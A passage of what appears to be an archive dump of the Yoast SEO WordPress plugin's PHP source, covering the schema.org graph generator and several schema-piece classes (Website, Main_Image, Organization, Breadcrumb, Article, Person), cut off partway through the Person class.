			\do_action( 'wpseo_pre_schema_block_type_' . $block_type, $context->blocks[ $block_type ], $context );
		}

		// Do a loop before everything else to inject the context and helpers.
		foreach ( $pieces as $piece ) {
			if ( \is_a( $piece, Abstract_Schema_Piece::class ) ) {
				$piece->context = $context;
				$piece->helpers = $this->helpers;
			}
		}

		$pieces_to_generate = $this->filter_graph_pieces_to_generate( $pieces );
		$graph              = $this->generate_graph( $pieces_to_generate, $context );
		$graph              = $this->add_schema_blocks_graph_pieces( $graph, $context );
		$graph              = $this->finalize_graph( $graph, $context );

		return [
			'@context' => 'https://schema.org',
			'@graph'   => $graph,
		];
	}

	/**
	 * Filters out any graph pieces that should not be generated.
	 * (Using the `wpseo_schema_needs_<graph_piece_identifier>` series of filters).
	 *
	 * @param array $graph_pieces The current list of graph pieces that we want to generate.
	 *
	 * @return array The graph pieces to generate.
	 */
	protected function filter_graph_pieces_to_generate( $graph_pieces ) {
		$pieces_to_generate = [];
		foreach ( $graph_pieces as $piece ) {
			$identifier = \strtolower( \str_replace( 'Yoast\WP\SEO\Generators\Schema\\', '', \get_class( $piece ) ) );
			if ( isset( $piece->identifier ) ) {
				$identifier = $piece->identifier;
			}

			/**
			 * Filter: 'wpseo_schema_needs_<identifier>' - Allows changing which graph pieces we output.
			 *
			 * @param bool $is_needed Whether or not to show a graph piece.
			 */
			$is_needed = \apply_filters( 'wpseo_schema_needs_' . $identifier, $piece->is_needed() );
			if ( ! $is_needed ) {
				continue;
			}

			$pieces_to_generate[ $identifier ] = $piece;
		}

		return $pieces_to_generate;
	}

	/**
	 * Generates the schema graph.
	 *
	 * @param array             $graph_piece_generators The schema graph pieces to generate.
	 * @param Meta_Tags_Context $context                The meta tags context to use.
	 *
	 * @return array The generated schema graph.
	 */
	protected function generate_graph( $graph_piece_generators, $context ) {
		$graph = [];
		foreach ( $graph_piece_generators as $identifier => $graph_piece_generator ) {
			$graph_pieces = $graph_piece_generator->generate();
			// If only a single graph piece was returned.
			if ( $graph_pieces !== false && \array_key_exists( '@type', $graph_pieces ) ) {
				$graph_pieces = [ $graph_pieces ];
			}

			if ( ! \is_array( $graph_pieces ) ) {
				continue;
			}

			foreach ( $graph_pieces as $graph_piece ) {
				/**
				 * Filter: 'wpseo_schema_<identifier>' - Allows changing graph piece output.
				 * This filter can be called with either an identifier or a block type (see `add_schema_blocks_graph_pieces()`).
				 *
				 * @param array                   $graph_piece            The graph piece to filter.
				 * @param Meta_Tags_Context       $context                A value object with context variables.
				 * @param Abstract_Schema_Piece   $graph_piece_generator  A value object with context variables.
				 * @param Abstract_Schema_Piece[] $graph_piece_generators A value object with context variables.
				 */
				$graph_piece = \apply_filters( 'wpseo_schema_' . $identifier, $graph_piece, $context, $graph_piece_generator, $graph_piece_generators );
				$graph_piece = $this->type_filter( $graph_piece, $identifier, $context, $graph_piece_generator, $graph_piece_generators );
				$graph_piece = $this->validate_type( $graph_piece );

				if ( \is_array( $graph_piece ) ) {
					$graph[] = $graph_piece;
				}
			}
		}

		/**
		 * Filter: 'wpseo_schema_graph' - Allows changing graph output.
		 *
		 * @param array             $graph   The graph to filter.
		 * @param Meta_Tags_Context $context A value object with context variables.
		 */
		$graph = \apply_filters( 'wpseo_schema_graph', $graph, $context );

		return $graph;
	}

	/**
	 * Adds schema graph pieces from Gutenberg blocks on the current page to
	 * the given schema graph.
	 *
	 * Think of blocks like the Yoast FAQ block or the How To block.
	 *
	 * @param array             $graph   The current schema graph.
	 * @param Meta_Tags_Context $context The meta tags context.
	 *
	 * @return array The graph with the schema blocks graph pieces added.
	 */
	protected function add_schema_blocks_graph_pieces( $graph, $context ) {
		foreach ( $context->blocks as $block_type => $blocks ) {
			foreach ( $blocks as $block ) {
				$block_type = \strtolower( $block['blockName'] );

				/**
				 * Filter: 'wpseo_schema_block_<block-type>'.
				 * This filter is documented in the `generate_graph()` function in this class.
				 */
				$graph = \apply_filters( 'wpseo_schema_block_' . $block_type, $graph, $block, $context );

				if ( isset( $block['attrs']['yoast-schema'] ) ) {
					$graph[] = $this->schema_replace_vars_helper->replace( $block['attrs']['yoast-schema'], $context->presentation );
				}
			}
		}

		return $graph;
	}

	/**
	 * Finalizes the schema graph after all filtering is done.
	 *
	 * @param array             $graph   The current schema graph.
	 * @param Meta_Tags_Context $context The meta tags context.
	 *
	 * @return array The schema graph.
	 */
	protected function finalize_graph( $graph, $context ) {
		$graph = $this->remove_empty_breadcrumb( $graph, $context );

		return $graph;
	}

	/**
	 * Removes the breadcrumb schema if empty.
	 *
	 * @param array             $graph   The current schema graph.
	 * @param Meta_Tags_Context $context The meta tags context.
	 *
	 * @return array The schema graph with empty breadcrumbs taken out.
	 */
	protected function remove_empty_breadcrumb( $graph, $context ) {
		if ( $this->helpers->current_page->is_home_static_page() || $this->helpers->current_page->is_home_posts_page() ) {
			return $graph;
		}

		// Remove the breadcrumb piece, if it's empty.
		$index_to_remove = 0;
		foreach ( $graph as $key => $piece ) {
			if ( \in_array( 'BreadcrumbList', $this->get_type_from_piece( $piece ), true ) ) {
				if ( isset( $piece['itemListElement'] ) && \is_array( $piece['itemListElement'] ) && \count( $piece['itemListElement'] ) === 1 ) {
					$index_to_remove = $key;
					break;
				}
			}
		}

		// If the breadcrumb piece has been removed, we should remove its reference from the WebPage node.
		if ( $index_to_remove !== 0 ) {
			\array_splice( $graph, $index_to_remove, 1 );

			// Get the type of the WebPage node.
			$webpage_types = \is_array( $context->schema_page_type ) ? $context->schema_page_type : [ $context->schema_page_type ];

			foreach ( $graph as $key => $piece ) {
				if ( ! empty( \array_intersect( $webpage_types, $this->get_type_from_piece( $piece ) ) ) && isset( $piece['breadcrumb'] ) ) {
					unset( $piece['breadcrumb'] );
					$graph[ $key ] = $piece;
				}
			}
		}

		return $graph;
	}

	/**
	 * Adapts the WebPage graph piece for password-protected posts.
	 *
	 * It should only have certain whitelisted properties.
	 * The type should always be WebPage.
	 *
	 * @param array $graph_piece The WebPage graph piece that should be adapted for password-protected posts.
	 *
	 * @return array The WebPage graph piece that has been adapted for password-protected posts.
	 */
	public function protected_webpage_schema( $graph_piece ) {
		$properties_to_show = \array_flip(
			[
				'@type',
				'@id',
				'url',
				'name',
				'isPartOf',
				'inLanguage',
				'datePublished',
				'dateModified',
				'breadcrumb',
			]
		);

		$graph_piece          = \array_intersect_key( $graph_piece, $properties_to_show );
		$graph_piece['@type'] = 'WebPage';

		return $graph_piece;
	}

	/**
	 * Gets all the graph pieces we need.
	 *
	 * @param Meta_Tags_Context $context The meta tags context.
	 *
	 * @return Abstract_Schema_Piece[] A filtered array of graph pieces.
	 */
	protected function get_graph_pieces( $context ) {
		if ( $context->indexable->object_type === 'post' && \post_password_required( $context->post ) ) {
			$schema_pieces = [
				new Schema\WebPage(),
				new Schema\Website(),
				new Schema\Organization(),
			];

			\add_filter( 'wpseo_schema_webpage', [ $this, 'protected_webpage_schema' ], 1 );
		}
		else {
			$schema_pieces = [
				new Schema\Article(),
				new Schema\WebPage(),
				new Schema\Main_Image(),
				new Schema\Breadcrumb(),
				new Schema\Website(),
				new Schema\Organization(),
				new Schema\Person(),
				new Schema\Author(),
				new Schema\FAQ(),
				new Schema\HowTo(),
			];
		}

		/**
		 * Filter: 'wpseo_schema_graph_pieces' - Allows adding pieces to the graph.
		 *
		 * @param array             $pieces  The schema pieces.
		 * @param Meta_Tags_Context $context An object with context variables.
		 */
		return \apply_filters( 'wpseo_schema_graph_pieces', $schema_pieces, $context );
	}

	/**
	 * Allows filtering the graph piece by its schema type.
	 *
	 * Note: We removed the Abstract_Schema_Piece type-hint from the $graph_piece_generator argument, because
	 *       it caused conflicts with old code, Yoast SEO Video specifically.
	 *
	 * @param array                   $graph_piece            The graph piece we're filtering.
	 * @param string                  $identifier             The identifier of the graph piece that is being filtered.
	 * @param Meta_Tags_Context       $context                The meta tags context.
	 * @param Abstract_Schema_Piece   $graph_piece_generator  A value object with context variables.
	 * @param Abstract_Schema_Piece[] $graph_piece_generators A value object with context variables.
	 *
	 * @return array The filtered graph piece.
	 */
	private function type_filter( $graph_piece, $identifier, Meta_Tags_Context $context, $graph_piece_generator, array $graph_piece_generators ) {
		$types = $this->get_type_from_piece( $graph_piece );
		foreach ( $types as $type ) {
			$type = \strtolower( $type );

			// Prevent running the same filter twice. This makes sure we run f/i. for 'author' and for 'person'.
			if ( $type && $type !== $identifier ) {
				/**
				 * Filter: 'wpseo_schema_<type>' - Allows changing graph piece output by @type.
				 *
				 * @param array                   $graph_piece            The graph piece to filter.
				 * @param Meta_Tags_Context       $context                A value object with context variables.
				 * @param Abstract_Schema_Piece   $graph_piece_generator  A value object with context variables.
				 * @param Abstract_Schema_Piece[] $graph_piece_generators A value object with context variables.
				 */
				$graph_piece = \apply_filters( 'wpseo_schema_' . $type, $graph_piece, $context, $graph_piece_generator, $graph_piece_generators );
			}
		}

		return $graph_piece;
	}

	/**
	 * Retrieves the type from a graph piece.
	 *
	 * @param array $piece The graph piece.
	 *
	 * @return array An array of the piece's types.
	 */
	private function get_type_from_piece( $piece ) {
		if ( isset( $piece['@type'] ) ) {
			if ( \is_array( $piece['@type'] ) ) {
				// Return as-is, but remove unusable values, like sub-arrays, objects, null.
				return \array_filter( $piece['@type'], 'is_string' );
			}

			return [ $piece['@type'] ];
		}

		return [];
	}

	/**
	 * Validates a graph piece's type.
	 *
	 * When the type is an array:
	 *   - Ensure the values are unique.
	 *   - Only 1 value? Use that value without the array wrapping.
	 *
	 * @param array $piece The graph piece.
	 *
	 * @return array The graph piece.
	 */
	private function validate_type( $piece ) {
		if ( ! isset( $piece['@type'] ) ) {
			// No type to validate.
			return $piece;
		}

		// If it is not an array, we can return immediately.
		if ( ! \is_array( $piece['@type'] ) ) {
			return $piece;
		}

		/*
		 * Ensure the types are unique.
		 * Use array_values to reset the indices (e.g. no 0, 2 because 1 was a duplicate).
		 */
		$piece['@type'] = \array_values( \array_unique( $piece['@type'] ) );

		// Use the first value if there is only 1 type.
		if ( \count( $piece['@type'] ) === 1 ) {
			$piece['@type'] = \reset( $piece['@type'] );
		}

		return $piece;
	}
}
wordpress-seo/src/generators/schema/website.php000064400000005323147510273100015736 0ustar00<?php

namespace Yoast\WP\SEO\Generators\Schema;

use Yoast\WP\SEO\Config\Schema_IDs;

/**
 * Returns schema Website data.
 */
class Website extends Abstract_Schema_Piece {

	/**
	 * Determines whether or not a piece should be added to the graph.
	 *
	 * @return bool
	 */
	public function is_needed() {
		return true;
	}

	/**
	 * Outputs code to allow recognition of the internal search engine.
	 *
	 * @return array Website data blob.
	 */
	public function generate() {
		$data = [
			'@type'       => 'WebSite',
			'@id'         => $this->context->site_url . Schema_IDs::WEBSITE_HASH,
			'url'         => $this->context->site_url,
			'name'        => $this->helpers->schema->html->smart_strip_tags( $this->context->site_name ),
			'description' => \get_bloginfo( 'description' ),
		];

		if ( $this->context->site_represents_reference ) {
			$data['publisher'] = $this->context->site_represents_reference;
		}

		$data = $this->add_alternate_name( $data );
		$data = $this->internal_search_section( $data );
		$data = $this->helpers->schema->language->add_piece_language( $data );

		return $data;
	}

	/**
	 * Returns an alternate name if one was specified in the Yoast SEO settings.
	 *
	 * @param array $data The website data array.
	 *
	 * @return array
	 */
	private function add_alternate_name( $data ) {
		if ( $this->context->alternate_site_name !== '' ) {
			$data['alternateName'] = $this->helpers->schema->html->smart_strip_tags( $this->context->alternate_site_name );
		}

		return $data;
	}

	/**
	 * Adds the internal search JSON LD code to the homepage if it's not disabled.
	 *
	 * @link https://developers.google.com/search/docs/data-types/sitelinks-searchbox
	 *
	 * @param array $data The website data array.
	 *
	 * @return array
	 */
	private function internal_search_section( $data ) {
		/**
		 * Filter: 'disable_wpseo_json_ld_search' - Allow disabling of the json+ld output.
		 *
		 * @param bool $display_search Whether or not to display json+ld search on the frontend.
		 */
		if ( \apply_filters( 'disable_wpseo_json_ld_search', false ) ) {
			return $data;
		}

		/**
		 * Filter: 'wpseo_json_ld_search_url' - Allows filtering of the search URL for Yoast SEO.
		 *
		 * @param string $search_url The search URL for this site with a `{search_term_string}` variable.
		 */
		$search_url = \apply_filters( 'wpseo_json_ld_search_url', $this->context->site_url . '?s={search_term_string}' );

		$data['potentialAction'][] = [
			'@type'       => 'SearchAction',
			'target'      => [
				'@type'       => 'EntryPoint',
				'urlTemplate' => $search_url,
			],
			'query-input' => [
				'@type'          => 'PropertyValueSpecification',
				'valueRequired'  => true,
				'valueName'      => 'search_term_string',
			],
		];

		return $data;
	}
}
wordpress-seo/src/generators/schema/main-image.php000064400000002216147510273100016276 0ustar00<?php

namespace Yoast\WP\SEO\Generators\Schema;

use Yoast\WP\SEO\Config\Schema_IDs;

/**
 * Returns ImageObject schema data.
 */
class Main_Image extends Abstract_Schema_Piece {

	/**
	 * Determines whether or not a piece should be added to the graph.
	 *
	 * @return bool
	 */
	public function is_needed() {
		return true;
	}

	/**
	 * Adds a main image for the current URL to the schema if there is one.
	 *
	 * This can be either the featured image or the first image in the content of the page.
	 *
	 * @return false|array Image Schema.
	 */
	public function generate() {
		$image_id = $this->context->canonical . Schema_IDs::PRIMARY_IMAGE_HASH;

		// The featured image.
		if ( $this->context->main_image_id ) {
			$generated_schema              = $this->helpers->schema->image->generate_from_attachment_id( $image_id, $this->context->main_image_id );
			$this->context->main_image_url = $generated_schema['url'];

			return $generated_schema;
		}

		// The first image in the content.
		if ( $this->context->main_image_url ) {
			return $this->helpers->schema->image->generate_from_url( $image_id, $this->context->main_image_url );
		}

		return false;
	}
}
wordpress-seo/src/generators/schema/organization.php000064400000005145147510273100017002 0ustar00<?php

namespace Yoast\WP\SEO\Generators\Schema;

use Yoast\WP\SEO\Config\Schema_IDs;

/**
 * Returns schema Organization data.
 */
class Organization extends Abstract_Schema_Piece {

	/**
	 * Determines whether an Organization graph piece should be added.
	 *
	 * @return bool
	 */
	public function is_needed() {
		return $this->context->site_represents === 'company';
	}

	/**
	 * Returns the Organization Schema data.
	 *
	 * @return array The Organization schema.
	 */
	public function generate() {
		$logo_schema_id = $this->context->site_url . Schema_IDs::ORGANIZATION_LOGO_HASH;

		if ( $this->context->company_logo_meta ) {
			$logo = $this->helpers->schema->image->generate_from_attachment_meta( $logo_schema_id, $this->context->company_logo_meta, $this->context->company_name );
		}
		else {
			$logo = $this->helpers->schema->image->generate_from_attachment_id( $logo_schema_id, $this->context->company_logo_id, $this->context->company_name );
		}

		$organization = [
			'@type' => 'Organization',
			'@id'   => $this->context->site_url . Schema_IDs::ORGANIZATION_HASH,
			'name'  => $this->helpers->schema->html->smart_strip_tags( $this->context->company_name ),
		];

		if ( ! empty( $this->context->company_alternate_name ) ) {
			$organization['alternateName'] = $this->context->company_alternate_name;
		}

		$organization['url']   = $this->context->site_url;
		$organization['logo']  = $logo;
		$organization['image'] = [ '@id' => $logo['@id'] ];

		$same_as = \array_values( \array_unique( \array_filter( $this->fetch_social_profiles() ) ) );
		if ( ! empty( $same_as ) ) {
			$organization['sameAs'] = $same_as;
		}

		if ( \is_array( $this->context->schema_page_type ) && \in_array( 'ProfilePage', $this->context->schema_page_type, true ) ) {
			$organization['mainEntityOfPage'] = [
				'@id' => $this->context->main_schema_id,
			];
		}

		return $organization;
	}

	/**
	 * Retrieve the social profiles to display in the organization schema.
	 *
	 * @return array An array of social profiles.
	 */
	private function fetch_social_profiles() {
		$profiles = $this->helpers->social_profiles->get_organization_social_profiles();

		if ( isset( $profiles['other_social_urls'] ) ) {
			$other_social_urls = $profiles['other_social_urls'];
			unset( $profiles['other_social_urls'] );
			$profiles = \array_merge( $profiles, $other_social_urls );
		}

		/**
		 * Filter: 'wpseo_schema_organization_social_profiles' - Allows filtering social profiles for the
		 * represented organization.
		 *
		 * @param string[] $profiles
		 */
		$profiles = \apply_filters( 'wpseo_schema_organization_social_profiles', $profiles );

		return $profiles;
	}
}
wordpress-seo/src/generators/schema/breadcrumb.php000064400000012070147510273100016377 0ustar00<?php

namespace Yoast\WP\SEO\Generators\Schema;

use Yoast\WP\SEO\Config\Schema_IDs;

/**
 * Returns schema Breadcrumb data.
 */
class Breadcrumb extends Abstract_Schema_Piece {

	/**
	 * Determine if we should add a breadcrumb attribute.
	 *
	 * @return bool
	 */
	public function is_needed() {
		if ( $this->context->indexable->object_type === 'unknown' ) {
			return false;
		}

		if ( $this->context->indexable->object_type === 'system-page' && $this->context->indexable->object_sub_type === '404' ) {
			return false;
		}

		return true;
	}

	/**
	 * Returns Schema breadcrumb data to allow recognition of page's position in the site hierarchy.
	 *
	 * @link https://developers.google.com/search/docs/data-types/breadcrumb
	 *
	 * @return bool|array Array on success, false on failure.
	 */
	public function generate() {
		$breadcrumbs   = $this->context->presentation->breadcrumbs;
		$list_elements = [];

		// In case of pagination, replace the last breadcrumb, because it only contains "Page [number]" and has no URL.
		if (
			(
				$this->helpers->current_page->is_paged()
				|| $this->context->indexable->number_of_pages > 1
			) && (
				// Do not replace the last breadcrumb on static post pages.
				! $this->helpers->current_page->is_static_posts_page()
				// Do not remove the last breadcrumb if only one exists (bugfix for custom paginated frontpages).
				&& \count( $breadcrumbs ) > 1
			)
		) {
			\array_pop( $breadcrumbs );
		}

		// Only output breadcrumbs that are not hidden.
		$breadcrumbs = \array_filter( $breadcrumbs, [ $this, 'not_hidden' ] );

		\reset( $breadcrumbs );

		/*
		 * Check whether at least one of the breadcrumbs is broken.
		 * If so, do not output anything.
		 */
		foreach ( $breadcrumbs as $breadcrumb ) {
			if ( $this->is_broken( $breadcrumb ) ) {
				return false;
			}
		}

		// Create the last breadcrumb.
		$last_breadcrumb = \array_pop( $breadcrumbs );
		$breadcrumbs[]   = $this->format_last_breadcrumb( $last_breadcrumb );

		// If this is a static front page, prevent nested pages from creating a trail.
		if ( $this->helpers->current_page->is_home_static_page() ) {

			// Check if we're dealing with a nested page.
			if ( \count( $breadcrumbs ) > 1 ) {

				// Store the breadcrumbs home variable before dropping the parent page from the Schema.
				$breadcrumbs_home = $breadcrumbs[0]['text'];
				$breadcrumbs      = [ \array_pop( $breadcrumbs ) ];

				// Make the child page show the breadcrumbs home variable rather than its own title.
				$breadcrumbs[0]['text'] = $breadcrumbs_home;
			}
		}

		$breadcrumbs = \array_filter( $breadcrumbs, [ $this, 'not_empty_text' ] );
		$breadcrumbs = \array_values( $breadcrumbs );

		// Create intermediate breadcrumbs.
		foreach ( $breadcrumbs as $index => $breadcrumb ) {
			$list_elements[] = $this->create_breadcrumb( $index, $breadcrumb );
		}

		return [
			'@type'           => 'BreadcrumbList',
			'@id'             => $this->context->canonical . Schema_IDs::BREADCRUMB_HASH,
			'itemListElement' => $list_elements,
		];
	}

	/**
	 * Returns a breadcrumb array.
	 *
	 * @param int   $index      The position in the list.
	 * @param array $breadcrumb The position in the list.
	 *
	 * @return array A breadcrumb listItem.
	 */
	private function create_breadcrumb( $index, $breadcrumb ) {
		$crumb = [
			'@type'    => 'ListItem',
			'position' => ( $index + 1 ),
			'name'     => $this->helpers->schema->html->smart_strip_tags( $breadcrumb['text'] ),
		];

		if ( ! empty( $breadcrumb['url'] ) ) {
			$crumb['item'] = $breadcrumb['url'];
		}

		return $crumb;
	}

	/**
	 * Creates the last breadcrumb in the breadcrumb list, omitting the URL per Google's spec.
	 *
	 * @link https://developers.google.com/search/docs/data-types/breadcrumb
	 *
	 * @param array $breadcrumb The position in the list.
	 *
	 * @return array The last of the breadcrumbs.
	 */
	private function format_last_breadcrumb( $breadcrumb ) {
		unset( $breadcrumb['url'] );

		return $breadcrumb;
	}

	/**
	 * Tests if the breadcrumb is broken.
	 * A breadcrumb is considered broken:
	 * - when it is not an array.
	 * - when it has no URL or text.
	 *
	 * @param array $breadcrumb The breadcrumb to test.
	 *
	 * @return bool `true` if the breadcrumb is broken.
	 */
	private function is_broken( $breadcrumb ) {
		// A breadcrumb is broken if it is not an array.
		if ( ! \is_array( $breadcrumb ) ) {
			return true;
		}

		// A breadcrumb is broken if it does not contain a URL or text.
		if ( ! \array_key_exists( 'url', $breadcrumb ) || ! \array_key_exists( 'text', $breadcrumb ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Checks whether the breadcrumb is not set to be hidden.
	 *
	 * @param array $breadcrumb The breadcrumb array.
	 *
	 * @return bool If the breadcrumb should not be hidden.
	 */
	private function not_hidden( $breadcrumb ) {
		return empty( $breadcrumb['hide_in_schema'] );
	}

	/**
	 * Checks whether the breadcrumb has a not empty text.
	 *
	 * @param array $breadcrumb The breadcrumb array.
	 *
	 * @return bool If the breadcrumb has a not empty text.
	 */
	private function not_empty_text( $breadcrumb ) {
		return ! empty( $breadcrumb['text'] );
	}
}
wordpress-seo/src/generators/schema/article.php000064400000016257147510273100015727 0ustar00<?php

namespace Yoast\WP\SEO\Generators\Schema;

use WP_User;
use Yoast\WP\SEO\Config\Schema_IDs;

/**
 * Returns schema Article data.
 */
class Article extends Abstract_Schema_Piece {

	/**
	 * Determines whether or not a piece should be added to the graph.
	 *
	 * @return bool
	 */
	public function is_needed() {
		if ( $this->context->indexable->object_type !== 'post' ) {
			return false;
		}

		// If we cannot output a publisher, we shouldn't output an Article.
		if ( $this->context->site_represents === false ) {
			return false;
		}

		// If we cannot output an author, we shouldn't output an Article.
		if ( ! $this->helpers->schema->article->is_author_supported( $this->context->indexable->object_sub_type ) ) {
			return false;
		}

		if ( $this->context->schema_article_type !== 'None' ) {
			$this->context->has_article = true;
			return true;
		}

		return false;
	}

	/**
	 * Returns Article data.
	 *
	 * @return array Article data.
	 */
	public function generate() {
		$author = \get_userdata( $this->context->post->post_author );
		$data   = [
			'@type'            => $this->context->schema_article_type,
			'@id'              => $this->context->canonical . Schema_IDs::ARTICLE_HASH,
			'isPartOf'         => [ '@id' => $this->context->main_schema_id ],
			'author'           => [
				'name' => ( $author instanceof WP_User ) ? $this->helpers->schema->html->smart_strip_tags( $author->display_name ) : '',
				'@id'  => $this->helpers->schema->id->get_user_schema_id( $this->context->post->post_author, $this->context ),
			],
			'headline'         => $this->helpers->schema->html->smart_strip_tags( $this->helpers->post->get_post_title_with_fallback( $this->context->id ) ),
			'datePublished'    => $this->helpers->date->format( $this->context->post->post_date_gmt ),
			'dateModified'     => $this->helpers->date->format( $this->context->post->post_modified_gmt ),
			'mainEntityOfPage' => [ '@id' => $this->context->main_schema_id ],
			'wordCount'        => $this->word_count( $this->context->post->post_content, $this->context->post->post_title ),
		];

		if ( $this->context->post->comment_status === 'open' ) {
			$data['commentCount'] = \intval( $this->context->post->comment_count, 10 );
		}

		if ( $this->context->site_represents_reference ) {
			$data['publisher'] = $this->context->site_represents_reference;
		}

		$data = $this->add_image( $data );
		$data = $this->add_keywords( $data );
		$data = $this->add_sections( $data );
		$data = $this->helpers->schema->language->add_piece_language( $data );

		if ( \post_type_supports( $this->context->post->post_type, 'comments' ) && $this->context->post->comment_status === 'open' ) {
			$data = $this->add_potential_action( $data );
		}

		return $data;
	}

	/**
	 * Adds tags as keywords, if tags are assigned.
	 *
	 * @param array $data Article data.
	 *
	 * @return array Article data.
	 */
	private function add_keywords( $data ) {
		/**
		 * Filter: 'wpseo_schema_article_keywords_taxonomy' - Allow changing the taxonomy used to assign keywords to a post type Article data.
		 *
		 * @param string $taxonomy The chosen taxonomy.
		 */
		$taxonomy = \apply_filters( 'wpseo_schema_article_keywords_taxonomy', 'post_tag' );

		return $this->add_terms( $data, 'keywords', $taxonomy );
	}

	/**
	 * Adds categories as sections, if categories are assigned.
	 *
	 * @param array $data Article data.
	 *
	 * @return array Article data.
	 */
	private function add_sections( $data ) {
		/**
		 * Filter: 'wpseo_schema_article_sections_taxonomy' - Allow changing the taxonomy used to assign keywords to a post type Article data.
		 *
		 * @param string $taxonomy The chosen taxonomy.
		 */
		$taxonomy = \apply_filters( 'wpseo_schema_article_sections_taxonomy', 'category' );

		return $this->add_terms( $data, 'articleSection', $taxonomy );
	}

	/**
	 * Adds a term or multiple terms, comma separated, to a field.
	 *
	 * @param array  $data     Article data.
	 * @param string $key      The key in data to save the terms in.
	 * @param string $taxonomy The taxonomy to retrieve the terms from.
	 *
	 * @return mixed Article data.
	 */
	protected function add_terms( $data, $key, $taxonomy ) {
		$terms = \get_the_terms( $this->context->id, $taxonomy );

		if ( ! \is_array( $terms ) ) {
			return $data;
		}

		$callback = static function ( $term ) {
			// We are using the WordPress internal translation.
			return $term->name !== \__( 'Uncategorized', 'default' );
		};
		$terms    = \array_filter( $terms, $callback );

		if ( empty( $terms ) ) {
			return $data;
		}

		$data[ $key ] = \wp_list_pluck( $terms, 'name' );

		return $data;
	}

	/**
	 * Adds an image node if the post has a featured image.
	 *
	 * @param array $data The Article data.
	 *
	 * @return array The Article data.
	 */
	private function add_image( $data ) {
		if ( $this->context->main_image_url !== null ) {
			$data['image']        = [
				'@id' => $this->context->canonical . Schema_IDs::PRIMARY_IMAGE_HASH,
			];
			$data['thumbnailUrl'] = $this->context->main_image_url;
		}

		return $data;
	}

	/**
	 * Adds the potential action property to the Article Schema piece.
	 *
	 * @param array $data The Article data.
	 *
	 * @return array The Article data with the potential action added.
	 */
	private function add_potential_action( $data ) {
		/**
		 * Filter: 'wpseo_schema_article_potential_action_target' - Allows filtering of the schema Article potentialAction target.
		 *
		 * @param array $targets The URLs for the Article potentialAction target.
		 */
		$targets = \apply_filters( 'wpseo_schema_article_potential_action_target', [ $this->context->canonical . '#respond' ] );

		$data['potentialAction'][] = [
			'@type'  => 'CommentAction',
			'name'   => 'Comment',
			'target' => $targets,
		];

		return $data;
	}

	/**
	 * Does a simple word count but tries to be relatively smart about it.
	 *
	 * @param string $post_content The post content.
	 * @param string $post_title   The post title.
	 *
	 * @return int The number of words in the content.
	 */
	private function word_count( $post_content, $post_title = '' ) {
		// Add the title to our word count.
		$post_content = $post_title . ' ' . $post_content;

		// Strip pre/code blocks and their content.
		$post_content = \preg_replace( '@<(pre|code)[^>]*?>.*?</\\1>@si', '', $post_content );

		// Add space between tags that don't have it.
		$post_content = \preg_replace( '@><@', '> <', $post_content );

		// Strips all other tags.
		$post_content = \wp_strip_all_tags( $post_content );

		$characters = '';

		if ( \preg_match( '@[а-я]@ui', $post_content ) ) {
			// Correct counting of the number of words in the Russian and Ukrainian languages.
			$alphabet = [
				'ru' => 'абвгдеёжзийклмнопрстуфхцчшщъыьэюя',
				'ua' => 'абвгґдеєжзиіїйклмнопрстуфхцчшщьюя',
			];

			$characters  = \implode( '', $alphabet );
			$characters  = \preg_split( '//u', $characters, -1, \PREG_SPLIT_NO_EMPTY );
			$characters  = \array_unique( $characters );
			$characters  = \implode( '', $characters );
			$characters .= \mb_strtoupper( $characters );
		}

		// Remove characters from HTML entities.
		$post_content = \preg_replace( '@&[a-z0-9]+;@i', ' ', \htmlentities( $post_content ) );

		return \str_word_count( $post_content, 0, $characters );
	}
}
wordpress-seo/src/generators/schema/person.php000064400000023055147510273100015604 0ustar00<?php

namespace Yoast\WP\SEO\Generators\Schema;

use WP_User;
use Yoast\WP\SEO\Config\Schema_IDs;

/**
 * Returns schema Person data.
 */
class Person extends Abstract_Schema_Piece {

	/**
	 * Array of the social profiles we display for a Person.
	 *
	 * @var string[]
	 */
	private $social_profiles = [
		'facebook',
		'instagram',
		'linkedin',
		'pinterest',
		'twitter',
		'myspace',
		'youtube',
		'soundcloud',
		'tumblr',
		'wikipedia',
	];

	/**
	 * The Schema type we use for this class.
	 *
	 * @var string[]
	 */
	protected $type = [ 'Person', 'Organization' ];

	/**
	 * Determine whether we should return Person schema.
	 *
	 * @return bool
	 */
	public function is_needed() {
		// Using an author piece instead.
		if ( $this->site_represents_current_author() ) {
			return false;
		}

		return $this->context->site_represents === 'person';
	}

	/**
	 * Returns Person Schema data.
	 *
	 * @return bool|array<string|string[]> Person data on success, false on failure.
	 */
	public function generate() {
		$user_id = $this->determine_user_id();
		if ( ! $user_id ) {
			return false;
		}

		return $this->build_person_data( $user_id );
	}

	/**
	 * Determines a User ID for the Person data.
	 *
	 * @return bool|int User ID or false upon return.
	 */
	protected function determine_user_id() {
		/**
		 * Filter: 'wpseo_schema_person_user_id' - Allows filtering of user ID used for person output.
		 *
		 * @param int|bool $user_id The user ID currently determined.
		 */
		$user_id = \apply_filters( 'wpseo_schema_person_user_id', $this->context->site_user_id );

		// It should to be an integer higher than 0.
		if ( \is_int( $user_id ) && $user_id > 0 ) {
			return $user_id;
		}

		return false;
	}

	/**
	 * Retrieve a list of social profile URLs for Person.
	 *
	 * @param string[] $same_as_urls Array of SameAs URLs.
	 * @param int      $user_id      User ID.
	 *
	 * @return string[] A list of SameAs URLs.
	 */
	protected function get_social_profiles( $same_as_urls, $user_id ) {
		/**
		 * Filter: 'wpseo_schema_person_social_profiles' - Allows filtering of social profiles per user.
		 *
		 * @param string[] $social_profiles The array of social profiles to retrieve. Each should be a user meta field
		 *                                  key. As they are retrieved using the WordPress function `get_the_author_meta`.
		 * @param int      $user_id         The current user we're grabbing social profiles for.
		 */
		$social_profiles = \apply_filters( 'wpseo_schema_person_social_profiles', $this->social_profiles, $user_id );

		// We can only handle an array.
		if ( ! \is_array( $social_profiles ) ) {
			return $same_as_urls;
		}

		foreach ( $social_profiles as $profile ) {
			// Skip non-string values.
			if ( ! \is_string( $profile ) ) {
				continue;
			}

			$social_url = $this->url_social_site( $profile, $user_id );
			if ( $social_url ) {
				$same_as_urls[] = $social_url;
			}
		}

		return $same_as_urls;
	}

	/**
	 * Builds our array of Schema Person data for a given user ID.
	 *
	 * @param int  $user_id  The user ID to use.
	 * @param bool $add_hash Wether or not the person's image url hash should be added to the image id.
	 *
	 * @return array<string|string[]> An array of Schema Person data.
	 */
	protected function build_person_data( $user_id, $add_hash = false ) {
		$user_data = \get_userdata( $user_id );
		$data      = [
			'@type' => $this->type,
